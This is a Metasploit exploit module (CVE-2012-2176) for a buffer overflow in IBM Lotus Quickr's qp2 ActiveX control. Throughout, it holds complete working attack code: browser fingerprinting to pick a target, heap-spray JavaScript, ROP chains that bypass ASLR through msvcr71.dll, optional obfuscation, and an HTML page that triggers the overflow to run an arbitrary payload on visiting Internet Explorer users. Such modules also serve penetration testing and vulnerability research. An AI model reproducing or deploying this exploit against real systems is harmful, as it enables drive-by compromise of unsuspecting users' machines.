IBM Lotus QuickR qp2 ActiveX Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::RopDb  
include Msf::Exploit::Remote::BrowserAutopwn  
  
autopwn_info({  
:ua_name => HttpClients::IE,  
:ua_minver => "6.0",  
:ua_maxver => "9.0",  
:javascript => true,  
:os_name => OperatingSystems::WINDOWS,  
:rank => Rank,  
:classid => "{05D96F71-87C6-11D3-9BE4-00902742D6E0}",  
:method => "Attachment_Times"  
})  
  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "IBM Lotus QuickR qp2 ActiveX Buffer Overflow",  
'Description' => %q{  
This module exploits a buffer overflow vulnerability on the UploadControl  
ActiveX. The vulnerability exists in the handling of the "Attachment_Times"  
property, due to the insecure usage of the _swscanf. The affected ActiveX is  
provided by the qp2.dll installed with the IBM Lotus Quickr product.  
  
This module has been tested successfully on IE6-IE9 on Windows XP, Vista and 7,  
using the qp2.dll 8.1.0.1800. In order to bypass ASLR the no aslr compatible module  
msvcr71.dll is used. This one is installed with the qp2 ActiveX.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Gaurav Baruah', # Vulnerability discovery  
'juan vazquez' # Metasploit module  
],  
'References' =>  
[  
[ 'CVE', '2012-2176' ],  
[ 'OSVDB', '82166' ],  
[ 'BID', '53678'],  
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-134/' ],  
[ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21596191' ]  
],  
'Payload' =>  
{  
'Space' => 978,  
'DisableNops' => true,  
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500  
},  
'DefaultOptions' =>  
{  
'InitialAutoRunScript' => 'migrate -f'  
},  
'Platform' => 'win',  
'Targets' =>  
[  
# qp2.dll 8.1.0.1800  
[ 'Automatic', {} ],  
[ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4', 'Ret' => 0x0c0c0c0c } ],  
[ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4', 'Ret' => 0x0c0c0c0c } ],  
[ 'IE 8 on Windows XP SP3', { 'Rop' => :jre, 'Offset' => '0x5f4', 'Ret' => 0x7C346B52 } ], # pop esp # ret # msvcr71.dll  
[ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5f4', 'Ret' => 0x0c0c0c0c } ],  
[ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => '0x5f4', 'Ret' => 0x7C346B52 } ], # pop esp # ret # msvcr71.dll  
[ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5f4', 'Ret' => 0x7C346B52 } ], # pop esp # ret # msvcr71.dll  
[ 'IE 9 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5fe', 'Ret' => 0x7C346B52 } ] # pop esp # ret # msvcr71.dll  
],  
'Privileged' => false,  
'DisclosureDate' => "May 23 2012",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])  
], self.class)  
  
end  
  
def get_target(agent)  
#If the user is already specified by the user, we'll just use that  
return target if target.name != 'Automatic'  
  
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''  
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''  
  
ie_name = "IE #{ie}"  
  
case nt  
when '5.1'  
os_name = 'Windows XP SP3'  
when '6.0'  
os_name = 'Windows Vista'  
when '6.1'  
os_name = 'Windows 7'  
end  
  
targets.each do |t|  
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))  
print_status("Target selected as: #{t.name}")  
return t  
end  
end  
  
return nil  
end  
  
def ie_heap_spray(my_target, p)  
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))  
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))  
js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))  
  
# Land the payload at 0x0c0c0c0c  
case my_target  
when targets[7]  
# IE 9 on Windows 7  
js = %Q|  
function randomblock(blocksize)  
{  
var theblock = "";  
for (var i = 0; i < blocksize; i++)  
{  
theblock += Math.floor(Math.random()*90)+10;  
}  
return theblock;  
}  
  
function tounescape(block)  
{  
var blocklen = block.length;  
var unescapestr = "";  
for (var i = 0; i < blocklen-1; i=i+4)  
{  
unescapestr += "%u" + block.substring(i,i+4);  
}  
return unescapestr;  
}  
  
var heap_obj = new heapLib.ie(0x10000);  
var code = unescape("#{js_code}");  
var nops = unescape("#{js_random_nops}");  
while (nops.length < 0x80000) nops += nops;  
var offset_length = #{my_target['Offset']};  
for (var i=0; i < 0x1000; i++) {  
var padding = unescape(tounescape(randomblock(0x1000)));  
while (padding.length < 0x1000) padding+= padding;  
var junk_offset = padding.substring(0, offset_length);  
var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);  
while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;  
sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);  
heap_obj.alloc(sprayblock);  
}  
|  
  
else  
# For IE 6, 7, 8  
js = %Q|  
var heap_obj = new heapLib.ie(0x20000);  
var code = unescape("#{js_code}");  
var nops = unescape("#{js_nops}");  
while (nops.length < 0x80000) nops += nops;  
var offset = nops.substring(0, #{my_target['Offset']});  
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);  
while (shellcode.length < 0x40000) shellcode += shellcode;  
var block = shellcode.substring(0, (0x80000-6)/2);  
heap_obj.gc();  
for (var i=1; i < 0x300; i++) {  
heap_obj.alloc(block);  
}  
var overflow = nops.substring(0, 10);  
|  
  
end  
  
js = heaplib(js, {:noobfu => true})  
  
if datastore['OBFUSCATE']  
js = ::Rex::Exploitation::JSObfu.new(js)  
js.obfuscate  
end  
  
return js  
end  
  
def get_payload(t, cli)  
code = payload.encoded  
  
# No rop. Just return the payload.  
return code if t['Rop'].nil?  
  
# Both ROP chains generated by mona.py - See corelan.be  
case t['Rop']  
when :jre  
print_status("Using JRE ROP")  
rop_payload = generate_rop_payload('java', code)#, {'pivot'=>stack_pivot})  
end  
  
return rop_payload  
end  
  
def load_exploit_html(my_target, cli)  
p = get_payload(my_target, cli)  
js = ie_heap_spray(my_target, p)  
  
bof = rand_text_alpha(512) # offset to eip"  
bof << [my_target.ret].pack("V")  
if my_target['Rop']  
bof << rand_text_alpha(4)  
bof << [0x0c0c0c0c].pack("V") # new stack  
end  
  
my_bof = Rex::Text.to_unescape(bof)  
  
html = %Q|  
<html>  
<head>  
<script>  
#{js}  
</script>  
</head>  
<body>  
<object id="UploadControl" width="100%" height="100%" classid="clsid:05D96F71-87C6-11D3-9BE4-00902742D6E0">  
<param name="General_Mode" value="1">  
<param name="General_URL" value="http://#{rand_text_alpha(rand(10) + 5)}">  
</object>  
<script>  
var bof = unescape("#{my_bof}");  
var my_time = "#{rand_text_numeric(2)}/#{rand_text_numeric(2)}/#{rand_text_numeric(4)} #{rand_text_numeric(2)}:#{rand_text_numeric(2)}:#{rand_text_numeric(2)} ";  
my_time += bof;  
my_time += " GMT";  
UploadControl.Attachment_Times = my_time;  
</script>  
</body>  
</html>  
|  
  
return html  
end  
  
def on_request_uri(cli, request)  
agent = request.headers['User-Agent']  
uri = request.uri  
print_status("Requesting: #{uri}")  
  
my_target = get_target(agent)  
# Avoid the attack if no suitable target found  
if my_target.nil?  
print_error("Browser not supported, sending 404: #{agent}")  
send_not_found(cli)  
return  
end  
  
html = load_exploit_html(my_target, cli)  
html = html.gsub(/^\t\t/, '')  
print_status("Sending HTML...")  
send_response(cli, html, {'Content-Type'=>'text/html'})  
end  
  
end`